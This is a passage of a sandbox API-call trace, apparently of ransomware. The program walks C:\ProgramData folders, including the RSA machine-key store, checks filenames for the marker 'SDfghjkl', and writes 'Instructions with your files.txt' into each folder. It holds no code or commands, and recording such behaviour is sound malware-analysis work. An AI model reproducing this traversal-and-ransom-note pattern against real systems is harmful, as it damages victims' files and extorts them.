[0120.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0120.044] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\.") returned 50
[0120.044] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0120.044] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.044] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\..") returned 51
[0120.045] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0120.045] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="6D14E4~1")) returned 1
[0120.045] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 118
[0120.045] StrStrIW (lpFirst="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch="SDfghjkl") returned 0x0
[0120.045] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="D42CC0~1")) returned 1
[0120.045] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 118
[0120.045] StrStrIW (lpFirst="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch="SDfghjkl") returned 0x0
[0120.045] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="D42CC0~1")) returned 0
[0120.045] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Instructions with your files.txt") returned 81
[0120.045] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0120.116] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0120.117] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0120.117] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0120.117] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0120.117] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0120.117] CloseHandle (hObject=0x114) returned 1
[0120.117] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0120.117] GetProcessHeap () returned 0x810000
[0120.117] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0120.117] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0
[0120.118] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\Instructions with your files.txt") returned 72
[0120.118] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0120.118] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0120.119] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0120.119] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0120.119] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0120.119] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0120.119] CloseHandle (hObject=0x110) returned 1
[0120.119] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0120.119] GetProcessHeap () returned 0x810000
[0120.119] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0120.119] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0
[0120.119] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Instructions with your files.txt") returned 68
[0120.119] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0120.120] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0120.120] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0120.121] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0120.121] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0120.121] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0120.121] CloseHandle (hObject=0x10c) returned 1
[0120.121] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0120.121] GetProcessHeap () returned 0x810000
[0120.121] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0120.121] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
[0120.121] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage") returned 41
[0120.121] GetProcessHeap () returned 0x810000
[0120.121] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0120.121] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\*") returned 43
[0120.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0120.121] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\.") returned 43
[0120.121] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.121] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\..") returned 44
[0120.121] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1
[0120.122] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned 48
[0120.122] GetProcessHeap () returned 0x810000
[0120.122] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0120.122] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*") returned 50
[0120.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0120.145] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\.") returned 50
[0120.145] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.145] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\..") returned 51
[0120.145] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1
[0120.145] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 87
[0120.145] GetProcessHeap () returned 0x810000
[0120.145] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0120.145] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned 89
[0120.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0120.150] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\.") returned 89
[0120.150] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.150] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\..") returned 90
[0120.150] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
[0120.150] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned 102
[0120.150] StrStrIW (lpFirst="background.png", lpSrch="SDfghjkl") returned 0x0
[0120.150] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c5b0d9, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xc7c5b0d9, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xc7c5b0d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
[0120.150] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned 100
[0120.150] StrStrIW (lpFirst="behavior.xml", lpSrch="SDfghjkl") returned 0x0
[0120.150] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1
[0120.150] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned 98
[0120.150] StrStrIW (lpFirst="device.png", lpSrch="SDfghjkl") returned 0x0
[0120.150] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1
[0120.150] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned 99
[0120.150] StrStrIW (lpFirst="overlay.png", lpSrch="SDfghjkl") returned 0x0
[0120.150] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1
[0120.150] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned 100
[0120.150] StrStrIW (lpFirst="superbar.png", lpSrch="SDfghjkl") returned 0x0
[0120.150] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0
[0120.150] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Instructions with your files.txt") returned 120
[0120.150] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0120.151] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0120.152] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0120.152] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
